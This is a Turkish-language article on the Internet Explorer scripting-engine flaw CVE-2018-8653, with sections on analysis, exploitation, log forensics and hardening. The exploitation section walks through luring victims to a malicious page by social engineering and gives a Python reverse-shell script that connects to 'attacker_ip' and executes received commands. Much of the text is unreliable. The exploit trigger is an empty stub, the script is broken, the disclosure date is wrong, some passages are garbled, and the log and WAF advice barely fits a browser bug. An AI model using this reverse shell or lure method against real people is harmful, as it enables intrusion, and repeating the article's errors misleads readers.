CVE-2018-8653: Microsoft Internet Explorer Scripting Engine Memory Corruption Vulnerability

Zorluk Seviyesi: Orta | Kaynak: CISA KEV

Zafiyet Analizi ve Giriş

CVE-2018-8653, Microsoft Internet Explorer (IE) tarayıcısının Scripting Engine adlı bileşeninde bulunan hafıza bozumu (memory corruption) zafiyetidir. Zafiyet, IE’nin Scripting Engine’in, bellek içerisindeki nesneleri nasıl işlediğine dair bir hatadan kaynaklanıyor. Bu durum, uzaktan kod yürütmesine (remote code execution - RCE) yol açarak saldırganların hedef sistemde kötü niyetli kod çalıştırmasına olanak tanıyor.

Zafiyetin tarihçesi, 2018 yılının Şubat ayında Microsoft'un bu açıkla ilgili ilk kez kamuoyunu bilgilendirmesiyle başlıyor. Zafiyet, özellikle kullanıcıların kötü niyetli bir web sayfasını ziyaret etmeleri durumunda istismar edilebiliyordu. Bu tür bir web sayfası, Scripting Engine aracılığıyla çalıştırılan zararlı JavaScript kodları içerebilir ve bu da bir kullanıcının sistemi üzerinde tam kontrol sağlamak için kullanılabilir.

CVE-2018-8653 zafiyeti, Microsoft'un Internet Explorer gibi bir tarayıcıda yer alan hafıza yönetimi hataları üzerinden etkisini göstermekte. Scripting Engine, JavaScript gibi betik dilleri için interaktif bir ortam sağlarken, doğru nesne referanslarını yönetme konusunda yaşadığı sıkıntılar nedeniyle kötü niyetli kullanıcılar A, B ve C gibi bellek alanlarına sansasyonel şekilde erişim sağlayabiliyor. Bu tür bir durum, dolaylı olarak bir "buffer overflow" (tampon taşması) durumu yaratabilir ve nihayetinde saldırganın sistem üzerinde yetkisiz işlemler yapmasına olanak tanıyabilir.

Bu zafiyetin etkileri geniş bir yelpazeyi kapsamaktadır. Özellikle finans, sağlık ve kamu sektörü gibi verilerin hassas olup güvenliğin ön planda olduğu alanlarda, kullanıcıların Internet Explorer kullanıyor olması kritik bir risk faktörüdür. Ayrıca, özellikle eski sistemler ve güncellemeleri yetersiz olan işletmeler, bu zafiyetin hedefi olma konusunda daha fazla risk taşımaktadır.

Dünya genelindeki etkilerine bakıldığında, özellikle gelişim aşamasında olan pek çok ülke ve kuruluş, modern güvenlik önlemleri alınıp alınmadığına bağlı olarak bu zafiyetten etkilenmiştir. Örneğin, bir sağlık kurumunun hastaları hakkında kritik bilgiler içeren bir web uygulaması, kullanıcılarının IE tarayıcısını kullanmaları durumunda bu zafiyetle kolayca hedef alınabilirdi. Dolayısıyla, bu tür bir zafiyetin karıştığı saldırılar, veri ihlalleri ve mali kayıplar şeklinde sonuçlanabilir.

Güvenlik uzmanları ve "white hat hacker" (beyaz şapkalı hacker) topluluğu, bu tip zafiyetlerin ortadan kaldırılması ve sistemlerin güvenliğinin artırılması için sürekli çaba göstermektedir. Microsoft, bu tür zayıflıkları azaltmak amacıyla güvenlik güncellemeleri yayımlamış ve kullanıcıların güncellemelerini yapmalarını teşvik etmiştir. Riskin azaltılması açısından, sadece Internet Explorer değil, genel olarak yazılımların güncel tutulması büyük bir öneme sahiptir.

Siber güvenlik uzmanlarının dikkat etmesi gereken bir diğer husus ise, kullanıcı eğitimidir. Kullanıcıların, bilmedikleri kaynaklardan gelen e-postalardaki linklere tıklamaktan kaçınmaları gerektiği gibi bilgilerle donatılmaları, potansiyel saldırılara karşı savunma mekanizmalarının öne çıkmasını sağlar. Zafiyetlerin tarayıcılarla sınırlı kalmadığı göz önünde bulundurulduğunda, genel güvenlik stratejilerinin sıkı bir şekilde uygulanması gereklidir.

Teknik Sömürü (Exploitation) ve PoC

Microsoft Internet Explorer Scripting Engine Memory Corruption Vulnerability (CVE-2018-8653) zafiyeti, kötü niyetli bir saldırganın uzaktan kod yürütmesine (RCE - Remote Code Execution) olanak tanıyan tehlikeli bir güvenlik açığıdır. Bu tür bir açık, genel olarak bir bellek hatası (memory corruption) olarak tanımlanır. Bu bölümde, CVE-2018-8653'ün nasıl sömürülebileceğini detaylarıyla inceleyeceğiz.

Zafiyet, Internet Explorer’ın Scripting Engine’inin bellek yönetiminde meydana gelen bir hatadan kaynaklanmaktadır. Özellikle, bu hata nesnelerin bellek içinde yanlış bir şekilde işlenmesi sonucu ortaya çıkmaktadır. Saldırgan, özel olarak hazırlanmış bir web sayfası aracılığıyla bu açığı kullanarak hedef sistemde kötü amaçlı kodlar çalıştırabilir. Bu, özellikle kimlik avı (phishing) veya sahte internet siteleri gibi yöntemlerle gerçekleştirilebilir.

Sömürü sürecine geçmeden önce, hedef bilgisayarın Internet Explorer tarayıcısının zafiyet içerdiğinden emin olunması kritik bir adımdır. Hedef sistemin, Microsoft'un bu zafiyeti gidermeye yönelik herhangi bir yamanı uygulayıp uygulamadığından emin olmak için güncellemeler kontrol edilmelidir.

Sömürü aşamaları aşağıdaki gibidir:

Zafiyeti Tespit Etme: İlk olarak, Internet Explorer'ın zafiyetinden etkilenen bir sürümünü kullandığından emin olun. Bunun için hedef sistemde Internet Explorer’ın sürüm bilgisini öğrenmek yeterlidir. Gerekirse, farklı sistemlerde denemeler yaparak bilgi toplayabilirsiniz.
Özel Web Sayfası Oluşturma: Hedefe yönelik bir web sayfası hazırlamanız gerekecek. Bu sayfa, zafiyeti tetikleyici bir JavaScript kodu içermelidir. Örneğin:

   &lt;html&gt;
   &lt;head&gt;
       &lt;script&gt;
           // Bu kısım bellek yönetim hatasını tetikleyen kodları içerecektir.
           function triggerVulnerability() {
               var maliciousObject = {};
               // Nesnenin bellek üzerinde nasıl yanlış kullanıldığına dair ince ayarlar yapılmalı.
           }
       &lt;/script&gt;
   &lt;/head&gt;
   &lt;body onload="triggerVulnerability()"&gt;
       &lt;h1&gt;Welcome to my malicious page&lt;/h1&gt;
   &lt;/body&gt;
   &lt;/html&gt;

Sosyal Mühendislik ile Hedefe URL Gönderme: Oluşturduğunuz kötü niyetli web sayfasının URL'sini hedefe ulaştırmak için sosyal mühendislik tekniklerini kullanabilirsiniz. Hedefin dikkatini çekecek bir e-posta ya da mesaj gönderebilirsiniz.
Kodun Yürütülmesi: Hedef kullanıcı sayfayı ziyaret ettiğinde, hazırladığınız JavaScript kodu çalıştırılır ve bellek hatası oluşturularak zararlı kodun yürütülmesine (RCE) zemin hazırlanır. Bu aşamada, zararlı kodu çalıştırmak için hedef sistemin belleğine yazmanız gereken küçük bir değişiklik yapmanız gerekebilir.
Painel ve Shell Elde Etme: Elde ettiğiniz erişim ile, hedef sistemde kontrol sağlamak adına bir shell (shell - komut kabuğu) elde etmeniz gerekmektedir. Bunun için genellikle reverse shell ya da bind shell teknikleri kullanılmaktadır.

Bir örnek Python betiği ile zararlı kod yürütme süreci basit bir şekilde şöyle gözlemlenebilir:

import socket

# Reverse shell betiği
def reverse_shell():
    s = socket.socket()
    s.connect(("attacker_ip", port))  # saldırganın IP adresi ve portu
    s.send(b"Şimdi buradasın!")
    while True:
        command = s.recv(1024).decode()
        if command.lower() == 'exit':
            break
        output = os.popen(command).read()
        s.send(output.encode())
    s.close()

reverse_shell()

Bu aşamalar, CVE-2018-8653 zafiyetini kullanarak sistemlere müdahale edebilme metodunu göstermektedir. Ancak, unutulmamalıdır ki, etik hacking (etik siber güvenlik) amacıyla hareket etmeli ve bu tür tekniklerin yalnızca izinli sistemlerde uygulanması gerekmektedir. Her türlü kötü niyetli eylem yasa dışıdır ve ciddi yasal sonuçlar doğurabilir.

Forensics (Adli Bilişim) ve Log Analizi

Microsoft Internet Explorer'daki CVE-2018-8653 zafiyeti, siber tehdit aktörlerinin uzaktan kod çalıştırmasına (Remote Code Execution - RCE) olanak tanıyan ciddi bir güvenlik açığıdır. Söz konusu zafiyet, Scripting Engine'in bellek yönetiminde (memory management) ortaya çıkan hatalardan kaynaklanmaktadır. Bu tür açığa sahip bir sistemde siber güvenlik uzmanları, adli bilişim (forensics) çalışmaları ve log analizi ile olası kötü niyetli aktiviteleri tespit edebilirler.

Bir siber güvenlik uzmanı olarak, bu tür zafiyetlerin istismar edildiğini anlamak için çeşitli log dosyalarını incelemek önemlidir. Özellikle erişim logları (access logs) ve hata logları (error logs) üzerinde yoğunlaşmak, potansiyel kötüye kullanım vakalarını ortaya çıkarabilir. Erişim loglarında, kullanıcının alışılmadık aktiviteleri veya belirli bir kaynağa aşırı erişim talepleri dikkatle incelenmelidir.

Örneğin, Scripting Engine'in istismar edilmesi, genellikle JavaScript veya diğer betik dillerinin kullanıldığı sahte reklamların veya kötü amaçlı sitelerin ziyaret edilmesiyle başlar. Bu tür bir durumda, erişim loglarında aşağıdaki gibi imzalar (signature) aranmalıdır:

Hızlı Yükleme Talepleri: Belirli bir IP adresinden, aynı URL'ye daha fazla erişim talebi geliyorsa, bu durum bir şüpheli aktiviteyi işaret edebilir. Örnek log girişi:

   192.168.1.1 - - [01/Oct/2023:14:30:00 +0300] "GET /malicious_page HTTP/1.1" 200 1234

Anormal Yanıt Kodları: İlgili sayfanın yanıt kodları da önemlidir. Örneğin, sürekli olarak 404 (bulunamadı) veya 500 (hata) kodu dönen istekler, Scripting Engine'in kötüye kullanılması sürecinde ortaya çıkabilir.
Kötü Amaçlı Dosya Yüklemeleri: Log dosyalarında, kullanıcıların yüklemeye çalıştığı dosya türleri incelenmeli. Eğer istenmeyen veya şüpheli dosya türlerine (örneğin, .js, .exe) yönelik yüksek oranda yükleme isteği varsa, bu ciddi bir alarm işareti olabilir.
Uzaktan Erişim Denemeleri: Log dosyalarında, âni ve yoğun şekilde tekrarlanan IP adresleri veya kullanıcı ajansı (user agent) değişiklikleri şüpheli bir davranışın gösterebilir. Örneğin, bir kullanıcı ajanı başlığında "bot" gibi terimlerin geçtiğini görmek, otomatik saldırıların bir göstergesi olabilir.
Anormal Oturum Süreleri: Kullanıcı oturum sürelerinin loglanması, anormal durumları tespit etmek açısından faydalıdır. Tipik bir kullanıcının oturum süresinden aşırı derecede uzun süren oturumlar, kötü niyetli bir durumun göstergesi olabilir.

Siber güvenlik uzmanları, yukarıda belirtilen imzalara dikkat ederek ve log analiz araçlarını (SIEM - Security Information and Event Management) kullanarak, CVE-2018-8653 gibi zafiyetlerin istismar edilip edilmediğini tespit edebilir. Ayrıca potansiyel izler üzerinde detaylı forensics çalışmaları yaparak, saldırganın nasıl bir yol izlediğini anlamak ve sistemin güvenliğini artırmak adına gerekli önlemleri almak mümkün olacaktır. Bu tür bir yaklaşım, hem siber güvenlik politikalarının güçlendirilmesine hem de potansiyel ihlallerin önlenmesine katkı sağlayacaktır.

Savunma ve Sıkılaştırma (Hardening)

Microsoft Internet Explorer’da bulunan CVE-2018-8653 zafiyeti, Scripting Engine’in (Betik Motoru) bellek yönetimi sırasında nesnelerle ilgili hatalı işlemler gerçekleştirmesi sonucu meydana gelen bir bellek bozulma (memory corruption) açığıdır. Bu zafiyet, saldırganların uzaktan kod çalıştırmasına (remote code execution - RCE) olanak tanıyarak ciddi güvenlik tehditleri oluşturabilir. Bu nedenle, bu tür zafiyetleri gidermek için özel önlemler almak kritik önem taşımaktadır.

Zafiyetten korunmak için öncelikle internet tarayıcısının güncel sürümünü kullanmak önemlidir. Microsoft, zafiyetin keşfedilmesinin ardından gerekli yamaları (patch) hızlı bir şekilde yayımlamıştır. Bu nedenle, işletim sistemi ve uygulamaların her zaman en son güvenlik güncellemeleri ile güncellenmesi gerekmektedir. Bunun yanı sıra, güvenli internet alışkanlıkları geliştirmek de büyük önem taşır. Örneğin, kullanıcıların bilinmeyen veya güvenilir olmayan kaynaklardan gelen bağlantılara tıklamaktan kaçınması, potansiyel saldırılara karşı önemli bir koruma sağlar.

Alternatif olarak, Web Uygulama Güvenlik Duvarı (WAF) çözümleri kullanarak katmanlı bir güvenlik sağlamak mümkündür. WAF ile, HTTP/HTTPS trafiğinde zararlı olabilecek kodları tespit edip engelleyerek faydalı bir güvenlik katmanı oluşturulabilir. WAF kurallarının oluşturulmasında, bilinen zafiyetlere özel kurallar yazılması önemlidir. Örneğin, CVE-2018-8653 gibi bilinen bir açık için aşağıdaki gibi bir kural önerisi geliştirilebilir:

{
  "rules": [
    {
      "name": "Block IE Scripting Engine Exploits",
      "pattern": "scripting|eval|new Function|document.write",
      "action": "deny"
    }
  ]
}

Bu örnekte, JavaScript’te potansiyel olarak zararlı fonksiyonları engellemeye yönelik bir kural oluşturulmuştur. Kullanıcılar bu tür kurallar ile sakıncalı scriptlerin çalışmasını önleyebilirler.

Sıkılaştırma (hardening) uygulamaları da önemli bir stratejik yaklaşım olarak öne çıkmaktadır. Sistemlerde gereksiz servislerin devre dışı bırakılması ve yalnızca gerekli olan uygulamaların çalıştırılması bu noktada dikkate alınmalıdır. Örneğin, tarayıcı ayarlarının sıkılaştırılması, JavaScript içeriğinin yalnızca güvenilir kaynaklardan gelmesine izin vermek gibi yöntemler ile daha güvenli bir ortam oluşturulabilir. Ayrıca, tarayıcının “Korumalı Mod” (Protected Mode) özelliği etkinleştirilerek güvenlik seviyesi artırılabilir.

Aynı zamanda, uygulama tabanlı bir güvenlik stratejisi ile, bellek suistimal (memory abuse) önleyici tekniklerin sistem üzerine entegrasyonu da önemlidir. Örneğin, "Data Execution Prevention" (DEP - Veri İcra Önleme) ve "Address Space Layout Randomization" (ASLR - Adres Alanı Düzeni Rastgeleleştirme) gibi özellikler etkinleştirilmelidir. Bu tür özellikler, bellek erişim hatalarının istismarını zorlaştırarak olası saldırı yüzeyini daraltmaktadır.

Son olarak, düzenli olarak güvenlik testleri ve penetrasyon testleri gerçekleştirilmesi, sistemlerinizde potansiyel zafiyetlerin erken tespit edilmesine ve acil önlemler alınmasına olanak tanır. Zafiyet yönetimi, sadece bir zafiyeti kapatmakla kalmaz; aynı zamanda gelecek saldırılara karşı hazırlıklı olmanın da bir yolunu sunar. White Hat hacker yaklaşımıyla yapılan bu tür değerlendirmeler, sistemlerinizi zafiyetlere karşı daha dayanıklı hale getirir. Bu bağlamda, CVE-2018-8653 gibi kritikal zafiyetlere karşı alınabilecek önlemler ve sıkılaştırma teknikleri, işletmelerin siber güvenlik stratejilerinin temel taşları arasında yer almalıdır.